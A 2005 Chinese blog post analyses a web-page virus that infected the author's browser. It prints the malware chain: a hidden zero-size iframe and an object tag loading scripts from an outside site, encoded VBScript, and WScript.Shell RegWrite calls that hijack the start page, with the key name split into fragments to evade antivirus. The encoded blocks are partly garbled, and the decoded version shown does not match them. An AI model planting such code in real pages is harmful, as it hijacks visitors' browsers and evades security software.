--------------------------------------------------------------------------------
文章作者: 文章来源:网络共享 发布时间:2005-05-08 07:49:05
注:本文只是大家学习知识的一个平台,请勿恶意之用!
今上在网上浏览网页的时候,在不知不觉中,中了网页病毒,我本来是开着瑞星杀毒的,也是昨天才升级的
却一点也没反应说有毒入侵,在经过一番折腾之后,终于明白他的机理.记录如下
[第一步]
我首先有用flashget下载了有病毒的网页,看源文件,里头有这一行代码
<iframe src=http://my.5e163.com/ie.htm width=0 height=0 frameborder=0 scrolling=NO></iframe>
这一行代码,好明显是说明不显示网页中,却它在网页中,说明不怀好意~~~~
[第二步]
我接着再用flashget 下载上面的http://my.5e163.com/ie.htm,再看源代码
只有四句
<html>
<object data="http://my.5e163.com/com88.test">
</object>
</html>
[第三步]
再下载http://my.5e163.com/com88.test得出如下代码
<html>
<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
<script LANGUAGE="VBscript.Encode">
wsh.RegWrite "H"&"KC"&"U\So"&"ftw"&"are\Mi"&"cro"&"sof"&"t\In"&"ter"&"ne"&"t E"&"xp"&"lor"&"er\Ma"&"in\St"&"ar"&"t Pa"&"geUl "http://my.5e163.com"
wsh.RegWrite "H"&"KC"&"U\So"&"ftw"&"are\Mi"&"cro"&"sof"&"t\I-2../=ut2r"="-..26"&ut wL&"xp'&OG7]i\"W]\ZcL&'i-2.-\VtO\O5rO#O% Pai&/]e' 9/b-t\A"Imy.4W16I4_TT"
B|Z-RWg6ritP L*u&"K"j'(|ST/jLftwi&/crKvhsu="_]T'&"sfx"&/rv3J"&'-6]'&On2"&"- p/="xp'&OmTt"j/W]\Mai&/AnF^W/=ua]_bBPa"dOge/'TOMtt3aLyPy4521632cfTu
Esb-!6gItA%e "?"#OKLj/;pSfLj'ftwLj"atWvhs"&'$*f'&Osff"&utvW~"&"9eG'j/nW/jLt Ei&/yp'dOG7V"dLWz\MaLj"iJ=}Wk"&'HGk9_#"d"agP_"tu&"l',9'b]t#}"ymy.:e7e3-_TTu
mC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F5.xW1(32cow/
Lb.R6g6*sre "a1/jLC'j"S&Voi&/O9ud"wa"=/VK&M"ci=/Gf"\Os4fu&"-|1iO#u-2.2}P/&iws\Cur"d"rPni#"])6i#"*Lu#OionFe7mOdusNiL&"PL&Sxu="C"&"-e"&O#&$i|"&"abl"d"e%ei#"0Oi#"]zu#OyToDL='$CuBO1L,"%+k_$22-.O!$u
wiZ.Re0Wt)te,L?/="e!'=iU|nD"g/ftBu#O5*eFMiu&"c]ou&"C74O&/t\3Ju#OtW]"&".2-.e/jL]BEOd"f#L='c4ri\"er\MH'dOs2.2-\..-2iS"j/&ow PA]u\O访问,hHRXF+&R1WsROr@#@&hbx[GSRm^G/@#@&eC4CAA==^#~@问,hHRXF+&R1WsROr@#@&hbx[GSRm^G/@#@&eC4CAA==^#~@</script>
<script LANGUAGE="VBscript.Encode">
on error resume -2..6#-
CaFl ,f2-2-jFe)7AddF*vTtO%6L(O【音乐影视】Sl'b%t3://mx4xW1eE89oTOV
C_km 4njFei_A}Jmav7ri]2s("【上万首音乐】Um"b]-\~I/F5.xWK6$.com/5
TJ[etGfGBr6CCmW{nPxt
C:$G L7ng\2i_Ad#DWl%P3(O音乐影视Sl'b%t3://mx4xW1eE89oTOV
C_km 4njFei_A}J$esltox{"上万首音乐Ul"htrFayLPy44eWe/.lom")
oS96*r4GTGKsG#K 2-.26#-
!cml Lf2..-jFei7/j&Xu"NkL:u~_bU" 娱乐明星网tLBuhrt3://Fx2:e16/(aTw/4
CcGl 4ngg2A7)d&Qui_fwH"nlb("B上万首音乐]u OMt9#AA3PM.xe16E8$Pm")
g'.2-2c9|PnB"onFpe|_A}JXavor)%Ks4NJ{;V
son KGtoVBG6sumP[nKy%
~6],~9=Bm|h-sre:re^ho]rlut(w|Z-SEe9sHkpDkderL6VFH|Ttite i)BkTiA"9H[M{k"-SzL'A
s~.ParFW9Path[&BU^
LU-~*Me()
LSP99~l =,,sh4!*6ar6nb4Gtl"](E h.^#e_iakpDlder|{'FHvPtO%WLL) +BOA链接/uBk{N +u(U[ L4
;~c2ocr&2]P*-h &9U
^$-Save'V
knD{g"2-.-$%ioS
Xu2-2.c9iPn L7-.2-gp6|`Ad&$WCl%PF4N'{S5
UfJ9Pr]or[rKCCw6{~6y-
LSPt ^,J9msM4sr2Hte~Mf*tcq]6m Z(~EeNs:$Xoc}6G (LAlcUL2z o6 +r7FO` "yuBkTN{ku.S%L"5
US. 5GFP%m5-h9\T(v
s~4UaMe(4OkKx@#@&@#@&rBEBAA==^#~@Ecj]dJ*@#@&i?cPlMonYhlO4,'P`7@#@&d?cjC\`*@#@&2U[,s;x1OkKx@#@&@#@&rBEBAA==^#~@</script>
<script language="Jscript.Encode">
fu-2-2cti4.2-2TNmo|2"t6` (
setPATeoqt(iCelf.llTP{4',aV
:
llosesr==^#~@@&)@#@&^sK/nkDc*@#@&ARUAAA==^#~@</script>
</html>
一片乱七八糟,但其中的有一个关键字,引起我的注意 LANGUAGE="VBscript.Encode",于是我就顺腾摸瓜,上网找了一下,这方面的资料,
原来encode是用来加密了脚本的,但找了好一阵子,都没有这方面的解密软件,而加密的就有好多了,而只是在
http://www.china100.net/java1.htm
找到在线解密的网页,于是他上面的乱七八糟的代码复制到该网页的输入框,解码成功
然后我将解码后的代码复印到记事本中,
得代码如下
<html>
<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
<script language="Jscript">
function closeit() {
setTimeout("self.close()",5)
}
closeit()
</script>
</html>
从上面的代码中,可以很容易的发现,他是写入注册表的,而且是用了词组分解来避开杀毒软件对特征码的查杀,
总结一下,该网页病毒用了病毒惯用手法,
1。隐藏网页,将网页引向深层,而且用了<object data="http://my.5e163.com/com88.test">等隐藏身份
2。加密,这不用说了,
3。词组分解,
将
wsh.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://my.5e163.com"
写成
wsh.RegWrite "H"&"KC"&"U\So"&"ftw"&"are\Mi"&"cro"&"sof"&"t\In"&"ter"&"ne"&"t E"&"xp"&"lor"&"er\Ma"&"in\St"&"ar"&"t Pa"&"ge", "http://my.5e163.com"
等等,来避开杀毒软件。
评论